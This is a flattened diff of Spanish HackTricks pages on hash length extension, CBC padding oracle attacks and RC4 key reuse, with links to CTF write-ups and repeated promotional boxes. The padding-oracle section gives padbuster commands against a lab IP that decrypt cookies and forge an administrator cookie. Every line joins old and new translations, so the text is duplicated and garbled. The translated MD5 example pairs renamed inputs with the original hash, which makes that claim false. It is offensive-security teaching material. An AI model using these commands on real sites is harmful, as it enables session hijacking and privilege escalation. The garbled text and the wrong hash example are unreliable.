Imagina un servidor que está **firmando** algunos **datos** **añadiendo** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si conoces: Imagina un servidor que está **firmando** algunos **datos** al **añadir** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si conoces:
* **La longitud del secreto** (esto también puede ser forzado bruscamente desde un rango de longitud dado) * **La longitud del secreto** (esto también se puede obtener por fuerza bruta dentro de un rango de longitud dado)
* **Los datos de texto claro** * **Los datos de texto claro**
* **El algoritmo (y es vulnerable a este ataque)** * **El algoritmo (y que sea vulnerable a este ataque)**
* **El padding es conocido** * **El relleno es conocido**
* Usualmente se utiliza uno por defecto, así que si se cumplen los otros 3 requisitos, este también se cumple * Por lo general, se usa uno predeterminado, por lo que si se cumplen los otros 3 requisitos, este también lo está
* El padding varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto * El relleno varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto
Entonces, es posible para un **atacante** **añadir** **datos** y **generar** una **firma válida** para los **datos previos + datos añadidos**. Entonces, es posible para un **atacante** **añadir** **datos** y **generar** una **firma** válida para los **datos previos + datos añadidos**.
## ¿Cómo? ## ¿Cómo?
Básicamente los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash previamente** creado **(estado)**, **añaden el siguiente bloque de datos** y **lo hashean**. Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash creado previamente** (estado), **añaden el siguiente bloque de datos** y lo **hashean**.
Entonces, imagina que el secreto es "secret" y los datos son "data", el MD5 de "secretdata" es 6036708eba0d11f6ef52ad44e8b74d5b.\ Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un atacante quiere añadir la cadena "append", puede: Si un atacante quiere añadir la cadena "añadir" puede:
* Generar un MD5 de 64 "A"s * Generar un MD5 de 64 "A"s
* Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b * Cambiar el estado del hash inicializado previamente a 6036708eba0d11f6ef52ad44e8b74d5b
* Añadir la cadena "append" * Añadir la cadena "añadir"
* Finalizar el hash y el hash resultante será un **válido para "secret" + "data" + "padding" + "append"** * Finalizar el hash y el hash resultante será uno **válido para "secreto" + "datos" + "relleno" + "añadir"**
## **Herramienta** ## **Herramienta**
@ -49,14 +49,14 @@ Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,34 +1,34 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
# CBC - Encadenamiento de Bloques de Cifrado # CBC - Cipher Block Chaining
En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para hacer XOR con el siguiente bloque: En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para hacer XOR con el siguiente bloque:
![Cifrado CBC](https://defuse.ca/images/cbc\_encryption.png) ![Cifrado CBC](https://defuse.ca/images/cbc\_encryption.png)
Para descifrar CBC se realizan las **operaciones opuestas**: Para descifrar CBC se realizan las **operaciones** **opuestas**:
![Descifrado CBC](https://defuse.ca/images/cbc\_decryption.png) ![Descifrado CBC](https://defuse.ca/images/cbc\_decryption.png)
Nótese que se necesita usar una **clave de cifrado** y un **IV**. Observa cómo es necesario utilizar una **clave de cifrado** y un **IV**.
# Relleno de Mensajes # Relleno de Mensaje
Como el cifrado se realiza en **bloques de tamaño fijo**, generalmente se necesita **relleno** en el **último bloque** para completar su longitud.\ Como el cifrado se realiza en **bloques de tamaño fijo**, generalmente se necesita un **relleno** en el **último bloque** para completar su longitud.\
Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número de bytes necesarios** para **completar** el bloque. Por ejemplo, si al último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`. Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si al último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
Veamos más ejemplos con **2 bloques de longitud 8 bytes**: Veamos más ejemplos con **2 bloques de longitud 8 bytes**:
@ -39,13 +39,13 @@ Veamos más ejemplos con **2 bloques de longitud 8 bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**. Observa cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**.
# Oracle de Relleno # Oráculo de Relleno
Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido provoca un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados**, o una **respuesta más lenta**. Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oráculo de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados**, o una **respuesta más lenta**.
Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto en claro**. Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto plano**.
## Cómo explotar ## Cómo explotar
@ -53,29 +53,29 @@ Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/Aon
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
Para probar si la cookie de un sitio es vulnerable podrías intentar: Para probar si la cookie de un sitio es vulnerable, podrías intentar:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**La codificación 0** significa que se utiliza **base64** (pero hay otras disponibles, consulta el menú de ayuda). **Codificación 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda).
También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**: También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `padbuster` especificando el parámetro -plaintext**:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de relleno, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**. Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de relleno, pero también puedes indicar el mensaje de error usando el parámetro **-error**.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
## La teoría ## La teoría
En **resumen**, puedes comenzar a descifrar los datos encriptados adivinando los valores correctos que pueden usarse para crear todos los **diferentes rellenos**. Luego, el ataque del oráculo de relleno comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**. En **resumen**, puedes comenzar a descifrar los datos encriptados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oráculo de relleno comenzará a descifrar bytes desde el final hasta el principio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
![](<../.gitbook/assets/image (629) (1) (1).png>) ![](<../.gitbook/assets/image (629) (1) (1).png>)
Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\ Imagina que tienes un texto encriptado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por el "descifrado de cifrado de bloque" generando los **bytes intermedios I0 a I15**.\ Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "desencriptación del cifrado de bloque" generando los **bytes intermedios I0 a I15**.\
Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores (E0 a E7). Entonces: Finalmente, cada byte intermedio es **XORed** con los bytes encriptados anteriores (E0 a E7). Así que:
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -85,24 +85,24 @@ Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores
Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Entonces, en este caso: `\x01 = I15 ^ E'7` Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Entonces, en este caso: `\x01 = I15 ^ E'7`
Así, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7` Por lo tanto, al encontrar E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando bruscamente el relleno `\x02\x02`. Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez probando el relleno `\x02\x02`.
Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` por lo que solo es necesario encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\ Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` por lo que solo es necesario encontrar el **`E'14`** que genere un **`C14` igual a `0x02`**.\
Luego, hacer los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** Luego, sigue los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Sigue esta cadena hasta que descifres todo el texto cifrado.** **Sigue esta cadena hasta descifrar todo el texto encriptado.**
## Detección de la vulnerabilidad ## Detección de la vulnerabilidad
Registra una cuenta e inicia sesión con ella.\ Registra una cuenta e inicia sesión con esta cuenta.\
Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **incorrecto** en la aplicación. La **cookie enviada debería ser única** cada vez que inicies sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y **no habrá forma de invalidarla**. Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **incorrecto** en la aplicación. La **cookie enviada de vuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y **no habrá forma de invalidarla**.
Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\ Ahora, si intentas **modificar** la **cookie**, verás que recibes un **error** de la aplicación.\
Pero si fuerzas bruscamente el relleno (usando padbuster, por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probablemente vulnerable a padbuster. Pero si haces un BF al relleno (usando padbuster, por ejemplo) lograrás obtener otra cookie válida para un usuario diferente. Este escenario es altamente probablemente vulnerable a padbuster.
# Referencias # Referencias
@ -111,14 +111,14 @@ Pero si fuerzas bruscamente el relleno (usando padbuster, por ejemplo) logras ob
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,40 +1,22 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
Si de alguna manera puedes cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) simplemente utilizando la función de cifrado. Si de alguna manera puedes cifrar un texto plano usando un RC4**,** puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo usando la función de cifrado.
Si puedes cifrar un texto plano conocido también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos: Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Se pueden encontrar más referencias en la máquina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,33 +1,17 @@
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
* [Write-up factory](https://writeup.raw.pm/) - Motor de búsqueda para encontrar write-ups \(TryHackMe, HackTheBox, etc.\) * [Fábrica de write-ups](https://writeup.raw.pm/) - Motor de búsqueda para encontrar write-ups \(TryHackMe, HackTheBox, etc.\)
* [CTFtime Write-ups](https://ctftime.org/writeups) - Los write-ups más recientes añadidos a eventos de CTF en CTFtime * [Write-ups de CTFtime](https://ctftime.org/writeups) - Últimos write-ups añadidos a eventos de CTF en CTFtime
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -17,14 +17,14 @@ Otras formas de apoyar a HackTricks:
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
